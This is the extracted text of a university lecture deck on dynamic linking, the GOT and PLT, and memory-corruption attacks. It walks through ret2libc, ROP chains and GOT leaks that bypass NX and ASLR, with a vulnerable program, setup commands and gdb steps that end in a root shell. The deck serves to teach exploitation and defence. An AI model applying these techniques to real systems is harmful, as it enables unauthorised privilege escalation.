Lecture 10-12: Bypassing Modern Protections (libc, Dynamic Linking, GOT, PLT, ret2libc, ROP, GOT Leak)

Xin Liu

Florida State University xliu15@fsu.edu

CIS 5370 Computer Security https://xinliulab.github.io/cis5370.html

・ロト ・四ト ・ヨト ・田・ 三田

We have already learned that an "executable file" is a data structure that describes the initial state of a process. Through the Funny Little Executable, we explored the compilation, linking, and loading processes involved in generating an executable file. **Today's Key Question:**

 As the software ecosystem evolved, the need for "decomposing" software and dynamic linking emerged!

Main Topics for Today:

- Dynamic Linking and Loading: Principles and Implementation
- Security in **libc**

3

ヘロト 人間 とくほとくほとう

"Disassembling" an Application

Software Ecosystem Requirements

Outline

Ecosystem

ation

IY

t2libc

◆□ ▶ < 圕 ▶ < 置 ▶</p>
ROP (

eak

How Many Executable Files Exist in Our OS?

Have you ever wondered how many executable files are in your system?

• We can count the number of files in /usr/bin with:

ls -l /usr/bin | wc -l

• Most of these executables rely on libc. We can verify this with:

ldd /usr/bin/bash | grep libc

< ロ > < 同 > < 三 > <

э

Why Dynamic Linking Matters?

What if every executable included its own copy of libc?

- Assume libc is 1MB in size.
- There are 1,500 executables in /usr/bin.
- Total storage required:

Without Dynamic Linking

 $1MB \times 1500 = 1.5GB$

With Dynamic Linking:

- The system only needs one copy of libc.so.
- All executables share the same library at runtime.
- Saves disk space and memory usage.

• • • • • • • •

"Disassembling" Application Requirements (1)

Achieving Separation of Runtime Libraries and Application Code

Library Sharing Between Applications

- Every program requires glibc.
- But the system only needs a single copy.
- Yes, we can check this with the ldd command.

Decomposing Large Projects

- Modifying code does not require relinking massive 2GB files.
- Example: lib5370.so, etc.

• □ ▶ < 同 ▶ < 三 ▶ <</p>

Library Dependencies: A Security Risk

The shocking <u>xz-utils (liblzma) backdoor incident</u> (CVE-2024-3094)

- In March 2024, a serious security backdoor was discovered in 'xz-utils', which provides the 'liblzma' compression library.
- The backdoor allowed an attacker to remotely gain control over affected Linux systems.
- The attack was stealthy, bypassing security checks and remaining undetected for months.

How Did This Happen?

- The attacker, known as 'JiaT75', contributed code to 'xz-utils', slowly introducing malicious modifications.
- The malicious code was cleverly hidden within performance improvements and obfuscated commits.
- Even advanced security tools, like Google's oss-fuzz, did not detect the attack at first.

()	1111	10	
0	uu		

The Impact of the Backdoor

Why Was This So Dangerous?

- Many Linux distributions (e.g., Debian, Fedora) rely on 'xz-utils' for compression.
- 'liblzma' is a core dependency in multiple system components, including OpenSSH.
- A compromised 'liblzma' meant that attackers could intercept SSH traffic, effectively gaining remote access to Linux machines.

What Was the Response?

Ecosystem

- Security researchers discovered and reported the issue before it was fully exploited.
- Major Linux vendors immediately released patches, removing the compromised versions.

7/52

• The incident raised concerns about supply chain security in open-source software.

Key Takeaways:

- Open-source projects can be targeted by long-term attacks.
- Even trusted libraries like 'liblzma' can become attack vectors.
- Automated security tools like 'oss-fuzz' are helpful, but not foolproof.
- Regular auditing and manual code reviews are crucial for security.

What If This Happened to Other Critical Libraries?

- Imagine if 'libc.so' or 'libssl.so' were compromised in a similar way.
- How would this affect millions of Linux systems worldwide?

ヘロト 人間 とくほとく ほとう

3

The UMN Linux Kernel Incident

What Happened?

- In 2021, researchers from the University of Minnesota (UMN) intentionally submitted malicious patches to the Linux kernel as part of a security study.
- Their goal was to demonstrate that vulnerabilities could be introduced through seemingly legitimate contributions.
- This research was conducted without prior disclosure to the Linux maintainers.

Community Response

- Greg Kroah-Hartman, a senior Linux maintainer, reacted strongly and reverted all commits from UMN.
- The entire UMN domain ('umn.edu') was temporarily banned from contributing to the Linux kernel.
- The incident raised ethical concerns about conducting security research without consent.

References:UMN Incident Report,Reversion of UMN Commits,S&P'21 Statement on EthicsImage: Image: Image:

())))	tΙ	INP	
ou			

bc

GOT Leal

"Decomposing Applications" Requirements (2)

Library Dependencies are Also a Code Weakness

- The shocking xz-utils (liblzma) backdoor incident
 - JiaT75 even bypassed oss-fuzz detection
 - Linux incident: Greg Kroah-Hartman reverted all commits from umn.edu; S&P'21 Statement

What if the Linux Application World was Statically Linked...

- libc releases an urgent security patch \rightarrow all applications need to be relinked
- Semantic Versioning
 - "Compatible" has a subtle definition
 - "Dependency hell"

Outline

ヘロト 人間 とくほとく ほとう

Does It Really Not Exist?

If this is a weapon of mass destruction, does it truly not exist?

- Consider the real world—certain nations possess nuclear weapons.
- They shape global stability.
- Could a similar balance exist in the digital world?

The Computer World Runs on a Fragile Equilibrium

- Zero-day vulnerabilities are discovered, but not always disclosed.
- Some entities have the capability to exploit them but choose restraint.
- Security and control often depend on an unspoken balance between offense and defense.

Outline

(日)

3

Verifying "Only One Copy"

Outline

Ecosystem

Verification

2libc

ROP

< ロ > < 同 > < 回 > < 回 > < 回 > <

GOT Leal

12 / 52

э

Approach 1: libc.o

• Relocation is completed during loading.

- Loading method: static linking
- Saves disk space but consumes more memory.
- Key drawback: **Time** (Linking requires resolving many undefined symbols).

Approach 2: libc.so (Shared Object)

- Compiled as **position-independent code**.
 - Loading method: mmap
 - However, function calls require an extra lookup step.
- Advantage: Multiple processes share the same libc.so, requiring only a single copy in memory.

(日)

How to Achieve This?

- Create a very large libbloat.so
 - Our example: 100M of nop (0x90)
- Launch 1,000 processes dynamically linked to libbloat.so
- Observe the system's memory usage:
 - 100MB or 100GB?
- If it's the latter, the system will immediately crash.
 - However, the **out-of-memory killer** will terminate the process with the highest oom_score.
 - We can also use pmap to observe the address of libbloat.so.
 - Do all of the addresses point to the same shared library?

< ロ > < 同 > < 三 > <

How Shared Libraries Shape Process Address Space

Shared Libraries and Virtual Memory

- When a process loads libc.so, the operating system maps it into the process's virtual address space.
- The same physical memory holding libc.so can be shared across multiple processes.
- This is achieved via mmap/munmap/mprotect, which maps shared objects to the address space without duplication.

Address Translation: From Virtual to Physical

- The CPU translates virtual addresses using **paging**.
- In x86 systems, the **CR3 register** holds the base address of the **page table**.
- When a process accesses a function in libc.so, the CPU:
 - Reads the virtual address from the instruction.
 - Uses CR3 to locate the correct page table.
 - Translates the virtual address into a physical address.

Outline

日本・モン・

Implementing Dynamic Loading

All problems in computer science can be solved by another level of indirection. (Butler Lampson).

Outline

< □ > < /□ >



Dynamic Linking: A Layer of Indirection

At Compilation: Function Calls Use an Indirect Lookup

call *TABLE[printf@symtab]

At Linking: Symbols Are Collected and Mapped

- The linker gathers all symbol references.
- It generates symbol information and the necessary code.

Symbol Table and Resolution

```
#define foo@symtab 1
#define printf@symtab 2
....
void *TABLE[N_SYMBOLS];
void load(struct loader *ld) {
   TABLE[foo@symtab] = ld->resolve("foo");
   TABLE[printf@symtab] = ld->resolve("printf");
   ....
}
```

< ロ > < 同 > < 三 > < 三 > <

dlbox: Reimplementing binutils Once Again

Compilation and Linking

- Borrowing from the GNU toolchain works well
 - ld is borrowed from objcopy (referred)
 - as is borrowed from GNU as (also referred)

Parsing and Loading

- The rest needs to be done manually
 - readelf (readelf)
 - objdump
 - Similarly, we can "borrow" addr2line, nm, objcopy, ...
- The loader is simply the "INTERP" field in ELF

We "made" the GOT (Global Offset Table)!

- Each dynamically resolved symbol has an entry in the GOT.
- ELF: Relocation section .rela.dyn.

Implementing Dynamic Linking and Loading of Code

- main (.o) calls printf (.so)
- main (.o) calls foo (.o)

Challenge: How to Decide Whether to Use a Lookup Table?

```
int printf(const char *, ...);
void foo();
```

- Should it be determined within the same binary (resolved at link time)?
- Or should it be handled within the library (loaded at runtime)?

A Historical Legacy Issue: Compile First, Link Later

Compiler Option 1: Fully Table-Based Indirect Jump

ff 25 00 00 00 00 call *FOO_OFFSET(%rip)

• Each call to f_{00} requires an additional table lookup, leading to performance inefficiency

Compiler Option 2: Fully Direct Jump

e8 00 00 00 00 call <reloc>

- %rip:0000555982b7000
- libc.so:00007fdcfd800000
 - The difference is 2a8356549000
- A 4-byte immediate cannot store such a large offset, making the jump impossible
 - On x86-64, direct call/jmp instructions use a 32-bit offset (±2GB)

Outline

< ロ > < 同 > < 三 > < 三 > <

For Performance, "Fully Direct Jump" is the Only Choice

e8 00 00 00 00 call <reloc>

• If a symbol is resolved at link time (e.g., printf from dynamic loading), then a small piece of code is "synthesized" in a.out:

printf@plt: jmp *PRINTF_OFFSET(%rip)

• This leads to the invention of the **PLT (Procedure Linkage Table)**!

#include <stdlib.h>
int main()
{
 exit(0);
}

Examining Offset in the GOT using objdump:

- We can set a "read watchpoint" to see who accesses it.
- ELF is incredibly complex, but we can still get a glimpse of its structure.

< ロ > < 同 > < 三 > <

Do We Really Need the PLT?

• If compilation and linking were done together, we would already know the target of every call instruction.

puts@PLT: endbr64 bnd jmpq *GOT[n] // *offset(%rip)

- Why does the PLT use endbr64 and bind jmpq for jump resolution?
- In reality, there are many "other" possible solutions.

ヘロア 人間 アメヨアメヨア

Return-to-libc Attacks

Bypassing NX (Non-Executable Stack)

Dutline

< 口 > < 同 >

э

Understanding GCC Compilation Options of BOF

Command Analysis:

gcc -g -o stack -z execstack -fno-stack-protector stack.c

Breakdown of Options:

- -g : Includes debugging information for use with GDB.
- -o stack: Names the output binary file as stack.
- -z execstack : Allows execution of code in the stack.
- -fno-stack-protector: Disables stack protection (canary checks), making buffer overflows easier to exploit.

Key Point:

- These options weaken modern security mechanisms.
- They enable execution of injected shellcode on the stack.
- In a real-world scenario, security features prevent such execution.

Outline

ibc

<ロ ▶ < 团 ▶ < 国 ▶ < 国 ▶ < 国 ▶ ROP GOT Lea

Can These Security Measures Be Bypassed?

- Jump to existing code: e.g. **libc** library.
- Run system(cmd), cmd argument is a command which gets executed.



Stack.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int foo(char *str)
   char buffer[100];
   /* The following statement has a buffer overflow problem */
   strcpy(buffer, str);
   return 1;
int main(int argc, char **argv)
ł
   char str[400];
   FILE *badfile;
   badfile = fopen("badfile", "r");
   fread(str, sizeof(char), 300, badfile);
   foo(str);
   printf("Returned Properly\n");
   return 1;
```

Outline

◆ロ▶★母▶★臣▶★臣▶ 臣 のQ@

Comparing BOF and Ret2libc Settings

Buffer Overflow (Traditional Shellcode Execution):

```
$ gcc -fno-stack-protector -z execstack -o stack stack.c
```

- \$ sudo sysctl -w kernel.randomize_va_space=0
- \$ sudo chown root stack
- \$ sudo chmod 4755 stack

Return-to-libc Attack (Ret2libc):

```
$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
$ sudo sysctl -w kernel.randomize_va_space=0
$ sudo chown root stack
$ sudo chomd 4755 stack
```

Key Differences:

- Buffer Overflow attacks require an executable stack (-z execstack), while ret2libc does not (-z noexecstack).
- Both attacks disable StackGuard (-fno-stack-protector) and ASLR (randomize_va_space=0).
- Ret2libc leverages existing functions in libc (e.g., system()), avoiding the need for custom shellcode.

Outline

GOT Lea

くロ とく 御 とく ヨ とく ヨ とう

Task A : Find address of system().

• To overwrite return address with system()'s address.

Task B : Find address of the "/bin/sh" string.

• To run command "/bin/sh" from system().

Task C : Construct arguments for system().

• To find location in the stack to place "/bin/sh" address (argument for system()).

Task A: To Find system()'s Address.

- Debug the vulnerable program using gdb.
- Using p (print) command, print address of system() and exit().

```
$ gdb stack
(gdb) run
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) quit
```

◆ロト ◆聞 と ◆臣 と ◆臣 と

31 / 52

э

Task B : To Find "/bin/sh" String Address



MYSHELL is passed to the vulnerable program as an environment variable, which is stored on the stack.

We can find its address.

Outline

Task B : To Find "/bin/sh" String Address

```
#include <stdio.h>
int main()
{
    char *shell = (char *)getenv("MYSHELL");
    if(shell){
        printf(" Value: %s\n", shell);
        printf(" Address: %x\n", (unsigned int)shell);
    }
    return 1;
}
```

Code to display address of environment variable

\$ gcc envaddr.c -o env55 \$ export MYSHELL="/bin/sh" \$./env55 Value: /bin/sh Address: bffffe8c

Export "MYSHELL" environment variable and execute the code.

< ロ > < 同 > < 三 > <

Outline

.⊒ →

```
$ mv env55 env7777
$ ./env7777
Value: /bin/sh
Address: bffffe88
```

```
$ gcc -g envaddr.c -o envaddr dbg
$ gdb envaddr dbg
(gdb) b main
Breakpoint 1 at 0x804841d: file envaddr.c. line
       6.
(adb) run
Starting program: /home/seeds/labs/buffer-
     overflow/envaddr dbg
(gdb) x/100s *((char **)environ)
0xbffff55e: "SSH AGENT PID=2494"
Oxbffff571: "GPG AGENT INFO=/tmp/keyring-YIRgWE
     /gpg:0:1"
0xbffff59c: "SHELL=/bin/bash"
. . . . . .
Oxbfffffb7: "COLORTERM=gnome-terminal"
Oxbfffffd0: "/home/seeds/labs/buffer-overflow/
     envaddr_dbg"
```

- Address of "MYSHELL" environment variable is sensitive to the length of the program name.
- If the program name is changed from env55 to env77, we get a different address.

Outline

lΥ

Ret2libc

R

(日)

Task C: Argument for system()

- Arguments are accessed with respect to ebp.
- Argument for system() needs to be on the stack.
- Need to know where exactly ebp is after we have "returned" to system(), so we can put the argument at ebp + 8.



Function prologue is executed at the beginning of a function to set up a stack frame.

pushl %ebp # Save old frame pointer movl %esp, %ebp # Set up new frame pointer subl \$N, %esp # Allocate space for local variables

Key Steps:

- Saves caller's frame pointer (push %ebp).
- Establishes a new frame pointer (mov %esp, %ebp).
- Allocates space for local variables (subl \$N, %esp).

< ロ > < 同 > < 三 > <

Example: Function Prologue in C

C Function:

```
void example() {
    int a = 5;
    int b = 10;
}
```

Corresponding Assembly (x86):

pushl %ebp # Save old frame pointer movl %esp, %ebp # Set up new frame pointer subl \$8, %esp # Allocate space for 'a' and 'b'

Explanation:

- The function starts by saving the caller's frame pointer.
- A new frame pointer is established for local variable management.
- The stack pointer is adjusted to allocate space for 'a' and 'b'.

Outline

< ロ > < 同 > < 三 > < 三 > <

э

Function Prologue and Epilogue Example

C Function:

```
void foo(int x) {
    int a;
    a = x;
}
void bar() {
    int b = 5;
    foo(b);
}
```

Corresponding Assembly (x86):

pushl %ebp # (1) Save the caller's base pointer (previous stack frame) movl %esp, %ebp # (2) Establish a new base pointer for the current function subl \$16, %esp # (3) Allocate 16 bytes of space for local variables movl 8(%ebp), %eax # (4) Load the function argument (x) from the caller's stack into EAX movl %eax, -4(%ebp) # (5) Store the value of x into the local variable a leave # (6) Restore the previous stack frame (mov %ebp, %esp; pop %ebp) ret # (7) Return to the caller using the stored return address

Key Points:

- Function Prologue (1): Sets up the stack frame.
- Function Epilogue (2): Cleans up the stack and returns.
- The function argument 'x' is accessed via '8(%ebp)'.

()	1111	lin.	ρ
	uu		

ROP

GOT Leak

Understanding the Stack Changes:

- To find the argument for 'system()', we need to analyze how the 'ebp' and 'esp' registers change during function calls.
- When the return address is modified, the vulnerable function ('bof') completes execution, and the 'system()' function begins.
- During this transition, the stack frame of 'bof' is deallocated, and 'system()"s prologue sets up its own stack frame.
- The argument for 'system()' must be carefully placed so that when 'system()' executes, it correctly references the intended memory address.

:

< ロ > < 同 > < 三 > <

Flow Chart to Understand system() Argument Process Flow:

- The return address is modified to jump to 'system()'.
- 'ebp' is replaced by 'esp' after 'bof()' epilogue executes.
- The program jumps to 'system()' and its prologue executes.
- 'ebp' is set to the current value of 'esp'.
- "'/bin/sh'" is stored in 'ebp + 8', ensuring 'system()' gets the correct argument.
- 'ebp + 4' is used as the return address of 'system()', which can be set to 'exit()' to prevent crashes.

Key Considerations:

- Ensure correct memory alignment when placing 'system()' arguments.
- The transition between 'bof()' and 'system()' affects stack alignment.
- Checking the memory map helps verify argument placement before execution.

\cap	1.1	ŧ١	n	0	
\circ	u	u			

Launch the Attack

Steps to Execute the Exploit:

- Compile the exploit code.
- Execute the exploit.
- Run the vulnerable program to trigger the attack.

```
$ gcc ret_to_libc_exploit.c -o exploit
$ ./exploit
$ ./stack
# <- Got the root shell!
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm) ...
```

Outcome:

- Successful execution grants root shell access.
- 'euid=0(root)' confirms privilege escalation.

くロ とく 御 とく ヨ とく ヨ とう

3

From Ret2libc to ROP (Return Oriented Programming)

Outline

Ecosyste

system

on

2libc

ROP

GOT Leak

ROP Attack Using sprintf()

Goal: Use <code>sprintf()</code> to write "/bin/sh" into memory and execute a root shell.

Why sprintf()?

- Avoids NX protection (no need to execute shellcode).
- Allows precise byte-wise memory control.

Attack Steps:

- **1** Exploit buffer overflow in foo() to overwrite return address.
- 2 Redirect execution to a controlled stack frame using leave; ret.
- **3** Use sprintf() to write "/bin/sh" into memory.
- **4** Call setuid(0) to gain root privileges.
- **5** Call system("/bin/sh") to spawn a shell.
- **6** Call exit() to prevent crashing.

くロ とく 御 とく ヨ とく ヨ とう

ROP

3

ROP Chain Execution Flow

• Step 1: Overwrite return address → Jump to leave; ret.

- leave; sets ebp to an attacker-controlled stack frame.
- ret jumps to the next function in the ROP chain.
- Step 2: Execute sprintf(sprintf_arg1, sprintf_arg2) → Writes "/bin/sh" into memory.
 - The return address of sprintf() is set to another leave; ret gadget.
 - After execution, the new stack frame points to the next function in the chain.
- Step 3: Call setuid(0) → Escalates privileges to root.
 - The return address of setuid() is set to another leave; ret.
 - This ensures smooth transition to the next stage.
- Step 4: Call system("/bin/sh") → Launches a root shell.
 - The argument "/bin/sh" was written earlier using sprintf().
 - Another leave; ret ensures execution continues to exit().
- Step 5: Call exit () \rightarrow Ensures a clean exit to prevent crashes.

Outline

(日)

ROP

ROP + GOT Leak

Bypassing ASLR (Address Space Layout Randomization)

・ 日 ト ・ 日 ト ・ 田 ト ・

3 GOT Leak

45 / 52

Comparing BOF, Ret2libc, and ROP Settings

Buffer Overflow (Traditional Shellcode Execution):

\$ gcc -fno-stack-protector -z execstack -o stack stack.c \$ sudo syscll -w kernel.randomize_va_space=0 \$ sudo chown root stack \$ sudo chmod 4755 stack

Return-to-libc Attack (Ret2libc):

\$ gcc -fno-stack-protector -z noexecstack -o stack stack.c \$ sudo sysctl -w kernel.randomize_va_space=0 \$ sudo chown root stack \$ sudo chmod 4755 stack

ROP + GOT Leak:

\$ gcc -fno-stack-protector -z noexecstack -o stack stack.c
\$ sudo chown root stack
\$ sudo chmod 4755 stack

Outline

(日)

How ASLR Affects Memory Addresses

1. ASLR (Address Space Layout Randomization) randomizes:

- ELF executables (if compiled with PIE)
- Shared libraries (e.g., libc)
- Heap memory
- Stack memory
- Dynamically mapped regions (mmap())

2. ASLR affects the virtual address space:

- The base address of libc is randomized on each execution.
- Functions like printf() and system() have different addresses each time.

Example: Loading libe with ASLR

\$ ldd ./stack linux-vdso.so.1 => (0x00007ffc459cd000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2e7e8a6000)

Key takeaway: ASLR does not change the physical memory, but the virtual addresses vary for each execution.

Outline

cosyster

l I

Re

ibc

GOT Leak

How ASLR Affects Function Addresses

- 1. Virtual address changes with ASLR:
 - Functions like printf() and system() have dynamic addresses.
 - Their offsets relative to libc remain constant.
- 2. Example: ASLR enabled vs. disabled Without ASLR:

```
$ sudo sysctl -w kernel.randomize_va_space=0
$ gdb ./stack
(gdb) p/x printf
$1 = 0x7ffff7e52f60
(gdb) p/x system
$2 = 0x7ffff7e07a90
```

With ASLR enabled:

```
$ sudo sysctl -w kernel.randomize_va_space=2
$ gdb ./stack
(gdb) p/x printf
$1 = 0x7ffff79d2f60
(gdb) p/x system
$2 = 0x7ffff7987a90
```

Conclusion: ASLR randomizes the base address of libc, causing function addresses to change.

-		
()))	ŧ١	ino
Οu	u	

bc

GOT Leak

Why GOT Leaks Work Against ASLR

1. GOT (Global Offset Table) stores function addresses:

- Contains dynamically resolved function pointers.
- ASLR affects stored function addresses, but not their offsets within libc.

2. Can we leak function addresses despite ASLR? Yes! Using

puts (printf@GOT), we can print the actual runtime address of printf().

ROP Chain to Leak printf():

```
pop rdi; ret # Load address into RDI
printf@GOT # Print stored address of printf()
puts@PLT # Call puts() to print it
main # Restart main to regain control
```

3. Once we leak printf(), we compute the libc base:

libc_base = leaked_printf - offset_printf

Conclusion: By leaking printf(), we dynamically determine libc's base address, bypassing ASLR.

Outline

libc

GOT Leak

ヘロト 人間 とくほとくほとう

Calculating system() Address Dynamically

1. After leaking printf(), we find libe base:

libc base = leaked printf - offset printf

2. Compute addresses of useful functions:

system addr = libc base + offset system binsh addr = libc base + offset binsh

3. Construct ROP chain to execute system("/bin/sh"):

pop rdi; ret binsh addr system addr exit addr

Final step: Execute this ROP chain to spawn a shell, even with ASLR enabled!

Outline

Key takeaways:

- ASLR randomizes libc's base address, changing function locations.
- GOT stores function pointers that reflect the ASLR-randomized addresses.
- Using puts (printf@GOT), we can leak printf()'s actual address.
- Since function offsets in libc are fixed, we compute libc base dynamically.
- This allows us to locate system() and execute
 system("/bin/sh"), even with ASLR enabled.

Final Thought: GOT leaks + ROP = Reliable ASLR bypass without disabling security features!

◆□▶ ◆□▶ ◆□▶ ◆□▶ ● □

GOT Leak

- Deepening understanding of libc, dynamic linking, GOT, and PLT by implementing a customized version.
- NX is bypassed by reusing executable codes (e.g., libc) instead of injecting new shellcode.
- ROP chains can cleverly use leave; ret to transition control
 between stack frames, maintaining execution flow.
- ASLR is bypassed by leaking function addresses from the GOT, allowing dynamic computation of the libc base address.

.

ヘロア 人間 アメヨアメヨア